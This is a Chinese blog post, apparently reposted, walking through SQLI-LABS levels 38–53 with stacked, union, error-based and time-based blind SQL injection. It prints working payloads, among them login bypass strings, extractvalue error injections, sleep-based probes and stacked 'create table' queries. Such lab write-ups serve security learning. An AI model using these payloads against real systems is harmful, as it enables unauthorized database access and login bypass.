博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQLI LABS Stacked Part(38-53) WriteUp
阅读量:6331 次
发布时间:2019-06-22

本文共 2115 字,大约阅读时间需要 7 分钟。

这里是堆叠注入部分

less-38:

这题啥过滤都没有,直接上:

?id=100' union select 1,2,'3

less-39:

同less-38:

?id=100 union select 1,2,3

less-40:

输入?id=1',无语法错误回显。改成?id=1' and '1,返回与?id=1相同的结果。尝试:

?id=100' union select 1,2,'3

无返回结果,试试是不是有括号:

?id=100') union(select 1,2,'3

成功回显。

less-41:

测试方法同上,发现是数字型注入,尝试:

?id=100 union select 1,2,3

成功。

less-42:

这题本来以为是前面那个重置任意用户密码漏洞,可是这题无法创建用户。故猜测是登录绕过,尝试:

username=abc' or 1#password=abc' or 1#

登录成功:

1077935-20181228165045778-1613751991.png

一下就过来了,想再好好试一下:

username=abc' or 1#password=abc

登录失败,下面换成password试试:

username=abcpassword=abc' or 1#

登录成功。

less-43:

还是像上题一样,先试试:

username=abc' or 1#password=abc' or 1#

返回语法错误,根据报错位置,判断是password存在注入,而且注意一下,password是被括号包裹的。payload:

username=abcpassword=abc') union(select 1,2,'3

登录成功:

1077935-20181228165052162-774996825.png

less-44:

继续试:

username=abc' or 1#password=abc' or 1#

登录成功!后来测试发现是password的注入。

ps: 这种简单粗暴的解法效率还挺高的~

less-45:

继续用上面的方法尝试:

username=abc' or 1#password=abc' or 1#

发现并无报错,换成双引号也是,说明是没有错误提示的。尝试是否有括号:

username=abc') or 1#password=abc') or 1#

登录成功。

less-46:

这题参数名变成了sort,推测注入点在order by,估计SQL语句如下:

select * from users order by sort

由于注入点在order by后面,所以没法使用union了。只能使用盲注,或者报错注入。这题名字就叫报错注入,payload:

?sort=(extractvalue(1,concat(0x7e,database(),0x7e)))

1077935-20181228165058437-1234548206.png

less-47:

这题跟上面差不多,只不过sort变成了单引号字符串,所以payload也稍有不同:

?sort=1'-(extractvalue(1,concat(0x7e,database(),0x7e)))-1'

报错语句的前后两个减号主要是用于与前后两个1形成一个完整的字符串

less-48:

这题没有报错回显,通过一些列fuzz,发现还是个数字型注入,fuzz方法如下:

?sort=1?sort=2-1

这两个返回的是同一个页面,说明2-1被运算了。又由于没有回显,所以只能盲注了。用之前的脚本常规操作一波吧。

less-49:

这题还是fuzz,当输入一个单引号时不回显数据,所以这题是个单引号注入。经过一番测试发现无论输入什么,只要不是奇数个单引号,都会回显相同的内容。既然没有变化的回显就只能用时延盲注了:

?sort=1'-if((1=1),sleep(5),1)-'1

回车之后发现后端会处理五秒左右,所以就从这里注入了。还用之前的脚本,把if中的条件换一下就ok了。

less-50:

这题测试一下发现注入方法跟less-46一样,估计是个非预期解,故看一下文件名,是个堆叠注入。之前一直以为堆叠注入是union注入,现在才知道意思是两个SQL语句。由于这题是数值型,也没什么过滤,很容易再构造一个语句,先看一下数据库有哪些表:
1077935-20181228165103831-655670634.png

payload:

?sort=1; create table hello like users

1077935-20181228165107941-322972086.png

注意一下,create table hello后面要加上like users,因为如果直接create table的话,表是没有字段名的,所以无法创建。

less-51:

跟上一题一样,只不过是个单引号字符串,payload:

?sort=1';create table hello2 like users--%20

less-52:

数值型注入,跟上面差不多:

?sort=1;create table hello3 like users

less-53:

输入单引号后不返回信息,说明这是个单引号注入。继续上面的payload:

?sort=1';create table hello4 like users

转载于:https://www.cnblogs.com/litlife/p/8613541.html

你可能感兴趣的文章
apache服务器安装配置启停[CentOS]
查看>>
StanFord ML 笔记 第四部分
查看>>
Repository
查看>>
webpack 打包成功,但是css不起作用
查看>>
js:代码会说话-数据类型
查看>>
各种求职资料收藏
查看>>
Redis和消息队列使用实战
查看>>
ORB-SLAM2 with Kinect V1
查看>>
如果选择构建ui界面方式,手写代码,xib和StoryBoard间的博弈
查看>>
实现表格分页
查看>>
Number Sequence HDU - 1711 (Hash或KMP)
查看>>
js保留两位小数方法总结
查看>>
20145234黄斐《Java程序设计》实验一—Java开发环境的熟悉(Linux + Eclipse)
查看>>
commont-net.jar 代码结构图
查看>>
从零开始机器学习比赛经验(bird分享)
查看>>
LiveUpdate Adminstrator配置手册
查看>>
[转]推荐分享22个优秀的项目管理与协作工具
查看>>
php tcp socket 学习汇总
查看>>
浪潮之巅第十一章 — 幕后的英雄:风险投资(Venture Capital)
查看>>
了解Flex 新框架 Robotlegs(2)initial
查看>>